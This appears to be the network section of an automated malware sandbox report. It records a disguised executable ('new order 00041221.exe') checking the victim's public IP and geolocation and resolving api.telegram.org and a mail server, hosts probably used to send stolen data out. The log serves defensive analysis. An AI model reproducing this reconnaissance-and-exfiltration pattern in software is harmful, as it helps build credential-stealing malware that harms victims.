Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 26, 2024 09:03:05.818300962 CEST	1.1.1.1	192.168.2.7	0x9736	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 26, 2024 09:03:05.818300962 CEST	1.1.1.1	192.168.2.7	0x9736	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:05.818300962 CEST	1.1.1.1	192.168.2.7	0x9736	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:05.818300962 CEST	1.1.1.1	192.168.2.7	0x9736	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:05.818300962 CEST	1.1.1.1	192.168.2.7	0x9736	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:05.818300962 CEST	1.1.1.1	192.168.2.7	0x9736	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:06.955200911 CEST	1.1.1.1	192.168.2.7	0x7fcf	No error (0)	reallyfreegeoip.org		188.114.97.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:06.955200911 CEST	1.1.1.1	192.168.2.7	0x7fcf	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:27.050193071 CEST	1.1.1.1	192.168.2.7	0x32a2	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:34.434303999 CEST	1.1.1.1	192.168.2.7	0x2142	No error (0)	mail.moonbrosurgical.com		203.124.44.4	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:34.434468031 CEST	1.1.1.1	192.168.2.7	0x2142	No error (0)	mail.moonbrosurgical.com		203.124.44.4	A (IP address)	IN (0x0001)	false
Jul 26, 2024 09:03:40.096103907 CEST	1.1.1.1	192.168.2.7	0xffe	Name error (3)	15.164.165.52.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49702	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:05.832084894 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:06.531081915 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:06 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 4f864800286d0022b792a27194a18461 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 09:03:06.535823107 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 09:03:06.891879082 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:06 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 998273e9fd81af013b085cdce1aee904 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>
Jul 26, 2024 09:03:07.992885113 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 09:03:09.247378111 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:09 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bedd99471cb74802748ce2acd2fffb61 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:09.930144072 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Jul 26, 2024 09:03:10.593067884 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:10 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 3f08438484c17a4ea8db810717db00ce Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49710	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:11.227489948 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:13.940898895 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 26 Jul 2024 07:03:13 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: a3f7163b6b7b98234329adf6a7a6dd02 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Jul 26, 2024 09:03:14.185848951 CEST	730	IN	HTTP/1.1 502 Bad Gateway Date: Fri, 26 Jul 2024 07:03:13 GMT Content-Type: text/html Content-Length: 547 Connection: keep-alive X-Request-ID: a3f7163b6b7b98234329adf6a7a6dd02 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 [TRUNCATED] Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center></center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49711	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:14.186454058 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:16.051285028 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 7e66601a04b3ca8c663f0f89844bbb2b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49713	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:16.791847944 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:19.046257019 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c433cb32213b27bced85e6c7690a7e15 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49715	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:19.643990040 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:22.177618027 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: bad16ef1c39a0358339d7fbc0cf3320f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49718	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:22.834057093 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:23.482217073 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:23 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 2b16581569354b0fb4a31ffa5dc1ea7f Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49722	193.122.6.168	80	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 09:03:24.147607088 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Jul 26, 2024 09:03:26.356765985 CEST	320	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:26 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6fca81094665b7ca7a73719ee3da7999 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.33</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49703	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:07 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 07:03:07 UTC	704	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:07 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: EXPIRED Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oo6T9Xk%2FbanT8mJ%2B%2Bozmxss9QR0BU0tCU38%2FIocpTwcY1HzMI35J9KEuyQT47wA2B5ZkK1lZSebjKU%2FGj%2F8yVNnA4jY31X2O9gZWjhnbkYkX9lx9WceHzgkyoiTIlDd9ighI0yVP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9287304cc44217-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:07 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49706	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:09 UTC	60	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org
2024-07-26 07:03:09 UTC	706	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:09 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 2 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3%2Fix3PF3YvxGDG4zP5L6TTvFBayGUAKKt6lWLNWhxvZ8xVqPruun9IYlEzTen%2FnZ35b%2BWCt%2Bgtg5NIoJTtOoGthUBId0cHsXR%2BsU6t9ORoNER0teUR6yuyxXv1btCc2scjctiY9h"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a92873e9c4d7287-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:09 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49709	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:11 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 07:03:11 UTC	708	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:11 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 4 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eVW56dG6%2BLE9l00J3Atql%2Bw%2F1wQDKDdS9F5qpKHzm2sORhq4q64cY96EpxFNu%2BxJ%2BaRtguc6NDZ9JICtNXrsxtM7mLCFB1rAB0lCI7SZOjELvjlvWuE%2FGO9oSJRdGlTdQNef1MVf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a928746ba134276-EWR alt-svc: h3=":443"; ma=86400
2024-07-26 07:03:11 UTC	340	IN	Data Raw: 31 34 64 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 33 33 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 75 64 65 3e 33 37 2e 37 35 Data Ascii: 14d<Response><IP>8.46.123.33</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode></RegionCode><RegionName></RegionName><City></City><ZipCode></ZipCode><TimeZone>America/Chicago</TimeZone><Latitude>37.75
2024-07-26 07:03:11 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49712	188.114.97.3	443	5292	C:\Users\user\Desktop\new order 00041221.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 07:03:16 UTC	84	OUT	GET /xml/8.46.123.33 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-07-26 07:03:16 UTC	702	IN	HTTP/1.1 200 OK Date: Fri, 26 Jul 2024 07:03:16 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 9 Last-Modified: Fri, 26 Jul 2024 07:03:07 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LQmK01iuCwA116GaIi3A%2FhwASAuK2Vws9RXI0McMqQBWWSInGuTirLZd9y35zREowxrP1II%2BAL2c4pkF0NzbVmkZIcKRY5asucDq%2FYOt71aC9NDijnLaxBZ71Ir0Ojd6VbAeQ6VQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8a9287691ce60f4d-EWR alt-svc: h3=":443"; ma=86400
